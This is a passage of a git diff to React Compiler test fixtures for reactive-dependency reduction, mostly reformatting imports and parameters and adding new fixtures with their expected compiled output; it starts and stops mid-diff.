 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInDirectIfElse(props, cond) {
   const x = {};
@@ -20,7 +20,7 @@ function useCondDepInDirectIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInDirectIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
 
 ```
@@ -50,6 +50,7 @@ function useCondDepInDirectIfElse(props, cond) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.js
index 5333576278db..6a7eb11116c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.js
@@ -2,7 +2,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInDirectIfElse(props, cond) {
   const x = {};
@@ -16,5 +16,5 @@ function useCondDepInDirectIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInDirectIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.expect.md
index a2addb662eb5..9788efc86501 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.expect.md
@@ -5,7 +5,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in every path
 
-import { identity, getNull } from "shared-runtime";
+import {identity, getNull} from 'shared-runtime';
 
 function useCondDepInNestedIfElse(props, cond) {
   const x = {};
@@ -21,7 +21,7 @@ function useCondDepInNestedIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInNestedIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
 
 ```
@@ -52,6 +52,7 @@ function useCondDepInNestedIfElse(props, cond) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.js
index b7f4106e238b..09e1700b3141 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.js
@@ -1,7 +1,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in every path
 
-import { identity, getNull } from "shared-runtime";
+import {identity, getNull} from 'shared-runtime';
 
 function useCondDepInNestedIfElse(props, cond) {
   const x = {};
@@ -17,5 +17,5 @@ function useCondDepInNestedIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInNestedIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.expect.md
index f4b9c909fb55..3f3f7489436c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.expect.md
@@ -6,7 +6,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { getNull, identity } from "shared-runtime";
+import {getNull, identity} from 'shared-runtime';
 
 function useCondDepInNestedIfElse(props, cond) {
   const x = {};
@@ -26,7 +26,7 @@ function useCondDepInNestedIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInNestedIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
 
 ```
@@ -64,6 +64,7 @@ function useCondDepInNestedIfElse(props, cond) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.js
index 8a7840f4f72b..282182f8c90f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.js
@@ -2,7 +2,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { getNull, identity } from "shared-runtime";
+import {getNull, identity} from 'shared-runtime';
 
 function useCondDepInNestedIfElse(props, cond) {
   const x = {};
@@ -22,5 +22,5 @@ function useCondDepInNestedIfElse(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInNestedIfElse,
-  params: [{ a: { b: 2 } }, true],
+  params: [{a: {b: 2}}, true],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.expect.md
index c5cfe530bb0c..035f8404e5af 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.expect.md
@@ -6,7 +6,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitch(props, other) {
   const x = {};
@@ -25,7 +25,7 @@ function useCondDepInSwitch(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitch,
-  params: [{ a: { b: 2 } }, 2],
+  params: [{a: {b: 2}}, 2],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.js
index 106a506c14ad..334481e40978 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-exhaustive.js
@@ -2,7 +2,7 @@
 // scope that produces x, since it is accessed unconditionally in all cfg
 // paths
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitch(props, other) {
   const x = {};
@@ -21,5 +21,5 @@ function useCondDepInSwitch(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitch,
-  params: [{ a: { b: 2 } }, 2],
+  params: [{a: {b: 2}}, 2],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.expect.md
index 0ae8786f5790..6768b250fb62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.expect.md
@@ -5,7 +5,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in every path
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitchMissingCase(props, other) {
   const x = {};
@@ -25,7 +25,7 @@ function useCondDepInSwitchMissingCase(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitchMissingCase,
-  params: [{ a: { b: 2 } }, 2],
+  params: [{a: {b: 2}}, 2],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.js
index 6d93812f2651..8feb8104d428 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-case.js
@@ -1,7 +1,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in every path
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitchMissingCase(props, other) {
   const x = {};
@@ -21,5 +21,5 @@ function useCondDepInSwitchMissingCase(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitchMissingCase,
-  params: [{ a: { b: 2 } }, 2],
+  params: [{a: {b: 2}}, 2],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.expect.md
index 0132146fe757..aca369a27037 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.expect.md
@@ -5,7 +5,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in the default case.
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitchMissingDefault(props, other) {
   const x = {};
@@ -22,7 +22,7 @@ function useCondDepInSwitchMissingDefault(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitchMissingDefault,
-  params: [{ a: { b: 2 } }, 3],
+  params: [{a: {b: 2}}, 3],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.js
index 77e5c1f75228..c1398d7bcf55 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-switch-missing-default.js
@@ -1,7 +1,7 @@
 // props.a.b should NOT be added as a unconditional dependency to the reactive
 // scope that produces x if it is not accessed in the default case.
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function useCondDepInSwitchMissingDefault(props, other) {
   const x = {};
@@ -18,5 +18,5 @@ function useCondDepInSwitchMissingDefault(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useCondDepInSwitchMissingDefault,
-  params: [{ a: { b: 2 } }, 3],
+  params: [{a: {b: 2}}, 3],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.expect.md
index 75fee846a44d..55704c856dfe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.expect.md
@@ -20,7 +20,7 @@
 // return x;
 // ```
 
-import { CONST_FALSE, identity } from "shared-runtime";
+import {CONST_FALSE, identity} from 'shared-runtime';
 
 function useReactiveDepsInCondScope(props) {
   let x = {};
@@ -83,6 +83,7 @@ function useReactiveDepsInCondScope(props) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.js
index 94872588e77b..0d78ea4f6c7f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cond-scope.js
@@ -16,7 +16,7 @@
 // return x;
 // ```
 
-import { CONST_FALSE, identity } from "shared-runtime";
+import {CONST_FALSE, identity} from 'shared-runtime';
 
 function useReactiveDepsInCondScope(props) {
   let x = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.expect.md
index be2c1c49cb0a..2dd61732f689 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.expect.md
@@ -14,7 +14,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: null }],
+  params: [{a: null}],
 };
 
 ```
@@ -29,10 +29,10 @@ import { c as _c } from "react/compiler-runtime"; // To preserve the nullthrows
 function Component(props) {
   const $ = _c(2);
   let x;
-  if ($[0] !== props.a) {
+  if ($[0] !== props.a?.b) {
     x = [];
     x.push(props.a?.b);
-    $[0] = props.a;
+    $[0] = props.a?.b;
     $[1] = x;
   } else {
     x = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.js
index bdb425470302..5372e374a989 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/conditional-member-expr.js
@@ -10,5 +10,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: null }],
+  params: [{a: null}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.expect.md
new file mode 100644
index 000000000000..f88787019790
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.expect.md
@@ -0,0 +1,130 @@
+
+## Input
+
+```javascript
+import {throwErrorWithMessage, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Context variables are local variables that (1) have at least one reassignment
+ * and (2) are captured into a function expression. These have a known mutable
+ * range: from first declaration / assignment to the last direct or aliased,
+ * mutable reference.
+ *
+ * This fixture validates that forget can take granular dependencies on context
+ * variables when the reference to a context var happens *after* the end of its
+ * mutable range.
+ */
+function Component({cond, a}) {
+  let contextVar;
+  if (cond) {
+    contextVar = {val: a};
+  } else {
+    contextVar = {};
+    throwErrorWithMessage('');
+  }
+  const cb = {cb: () => contextVar.val * 4};
+
+  /**
+   * manually specify input to avoid adding a `PropertyLoad` from contextVar,
+   * which might affect hoistable-objects analysis.
+   */
+  return (
+    <ValidateMemoization
+      inputs={[cond ? a : undefined]}
+      output={cb}
+      onlyCheckCompiled={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, a: undefined}],
+  sequentialRenders: [
+    {cond: true, a: 2},
+    {cond: true, a: 2},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { throwErrorWithMessage, ValidateMemoization } from "shared-runtime";
+
+/**
+ * Context variables are local variables that (1) have at least one reassignment
+ * and (2) are captured into a function expression. These have a known mutable
+ * range: from first declaration / assignment to the last direct or aliased,
+ * mutable reference.
+ *
+ * This fixture validates that forget can take granular dependencies on context
+ * variables when the reference to a context var happens *after* the end of its
+ * mutable range.
+ */
+function Component(t0) {
+  const $ = _c(10);
+  const { cond, a } = t0;
+  let contextVar;
+  if ($[0] !== a || $[1] !== cond) {
+    if (cond) {
+      contextVar = { val: a };
+    } else {
+      contextVar = {};
+      throwErrorWithMessage("");
+    }
+    $[0] = a;
+    $[1] = cond;
+    $[2] = contextVar;
+  } else {
+    contextVar = $[2];
+  }
+  let t1;
+  if ($[3] !== contextVar) {
+    t1 = { cb: () => contextVar.val * 4 };
+    $[3] = contextVar;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  const cb = t1;
+
+  const t2 = cond ? a : undefined;
+  let t3;
+  if ($[5] !== t2) {
+    t3 = [t2];
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== cb || $[8] !== t3) {
+    t4 = (
+      <ValidateMemoization inputs={t3} output={cb} onlyCheckCompiled={true} />
+    );
+    $[7] = cb;
+    $[8] = t3;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: false, a: undefined }],
+  sequentialRenders: [
+    { cond: true, a: 2 },
+    { cond: true, a: 2 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[2],"output":{"cb":"[[ function params=0 ]]"}}</div>
+<div>{"inputs":[2],"output":{"cb":"[[ function params=0 ]]"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.js
new file mode 100644
index 000000000000..b9bdd67e2f50
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/context-var-granular-dep.js
@@ -0,0 +1,43 @@
+import {throwErrorWithMessage, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Context variables are local variables that (1) have at least one reassignment
+ * and (2) are captured into a function expression. These have a known mutable
+ * range: from first declaration / assignment to the last direct or aliased,
+ * mutable reference.
+ *
+ * This fixture validates that forget can take granular dependencies on context
+ * variables when the reference to a context var happens *after* the end of its
+ * mutable range.
+ */
+function Component({cond, a}) {
+  let contextVar;
+  if (cond) {
+    contextVar = {val: a};
+  } else {
+    contextVar = {};
+    throwErrorWithMessage('');
+  }
+  const cb = {cb: () => contextVar.val * 4};
+
+  /**
+   * manually specify input to avoid adding a `PropertyLoad` from contextVar,
+   * which might affect hoistable-objects analysis.
+   */
+  return (
+    <ValidateMemoization
+      inputs={[cond ? a : undefined]}
+      output={cb}
+      onlyCheckCompiled={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, a: undefined}],
+  sequentialRenders: [
+    {cond: true, a: 2},
+    {cond: true, a: 2},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.expect.md
new file mode 100644
index 000000000000..d9361bee322e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+import {identity} from 'shared-runtime';
+
+/**
+ * Evaluator failure:
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) {}
+ *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]
+ *   Forget:
+ *   (kind: ok) {}
+ *   {}
+ */
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
+function useFoo({screen}: {screen: null | undefined | {title_text: null}}) {
+  return screen?.title_text != null
+    ? '(not null)'
+    : identity({title: screen.title_text});
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{screen: null}],
+  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity } from "shared-runtime";
+
+/**
+ * Evaluator failure:
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) {}
+ *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]
+ *   Forget:
+ *   (kind: ok) {}
+ *   {}
+ */
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
+function useFoo(t0) {
+  const $ = _c(2);
+  const { screen } = t0;
+  let t1;
+  if ($[0] !== screen) {
+    t1 =
+      screen?.title_text != null
+        ? "(not null)"
+        : identity({ title: screen.title_text });
+    $[0] = screen;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ screen: null }],
+  sequentialRenders: [{ screen: { title_bar: undefined } }, { screen: null }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {}
+[[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.ts
new file mode 100644
index 000000000000..bb361e3c9fef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/edge-case-merge-uncond-optional-chain-and-cond.ts
@@ -0,0 +1,31 @@
+import {identity} from 'shared-runtime';
+
+/**
+ * Evaluator failure:
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) {}
+ *   [[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]
+ *   Forget:
+ *   (kind: ok) {}
+ *   {}
+ */
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
+function useFoo({screen}: {screen: null | undefined | {title_text: null}}) {
+  return screen?.title_text != null
+    ? '(not null)'
+    : identity({title: screen.title_text});
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{screen: null}],
+  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.expect.md
new file mode 100644
index 000000000000..2dd936240493
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.expect.md
@@ -0,0 +1,107 @@
+
+## Input
+
+```javascript
+import {makeObject_Primitives, setPropertyByKey} from 'shared-runtime';
+
+function useFoo({value, cond}) {
+  let x: any = makeObject_Primitives();
+  if (cond) {
+    setPropertyByKey(x, 'a', null);
+  } else {
+    setPropertyByKey(x, 'a', {b: 2});
+  }
+
+  /**
+   * y should take a dependency on `x`, not `x.a.b` here
+   */
+  const y = [];
+  if (!cond) {
+    y.push(x.a.b);
+  }
+
+  x = makeObject_Primitives();
+  setPropertyByKey(x, 'a', {b: value});
+
+  return [y, x.a.b];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{value: 3, cond: true}],
+  sequentialRenders: [
+    {value: 3, cond: true},
+    {value: 3, cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeObject_Primitives, setPropertyByKey } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(10);
+  const { value, cond } = t0;
+  let x;
+  if ($[0] !== cond) {
+    x = makeObject_Primitives();
+    if (cond) {
+      setPropertyByKey(x, "a", null);
+    } else {
+      setPropertyByKey(x, "a", { b: 2 });
+    }
+    $[0] = cond;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  let y;
+  if ($[2] !== cond || $[3] !== x) {
+    y = [];
+    if (!cond) {
+      y.push(x.a.b);
+    }
+    $[2] = cond;
+    $[3] = x;
+    $[4] = y;
+  } else {
+    y = $[4];
+  }
+  if ($[5] !== value) {
+    x = makeObject_Primitives();
+    setPropertyByKey(x, "a", { b: value });
+    $[5] = value;
+    $[6] = x;
+  } else {
+    x = $[6];
+  }
+  let t1;
+  if ($[7] !== x.a.b || $[8] !== y) {
+    t1 = [y, x.a.b];
+    $[7] = x.a.b;
+    $[8] = y;
+    $[9] = t1;
+  } else {
+    t1 = $[9];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ value: 3, cond: true }],
+  sequentialRenders: [
+    { value: 3, cond: true },
+    { value: 3, cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[],3]
+[[2],3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.tsx
new file mode 100644
index 000000000000..3f75571bd700
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance.tsx
@@ -0,0 +1,32 @@
+import {makeObject_Primitives, setPropertyByKey} from 'shared-runtime';
+
+function useFoo({value, cond}) {
+  let x: any = makeObject_Primitives();
+  if (cond) {
+    setPropertyByKey(x, 'a', null);
+  } else {
+    setPropertyByKey(x, 'a', {b: 2});
+  }
+
+  /**
+   * y should take a dependency on `x`, not `x.a.b` here
+   */
+  const y = [];
+  if (!cond) {
+    y.push(x.a.b);
+  }
+
+  x = makeObject_Primitives();
+  setPropertyByKey(x, 'a', {b: value});
+
+  return [y, x.a.b];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{value: 3, cond: true}],
+  sequentialRenders: [
+    {value: 3, cond: true},
+    {value: 3, cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.expect.md
new file mode 100644
index 000000000000..54ee5676b3f6
--- /dev/null
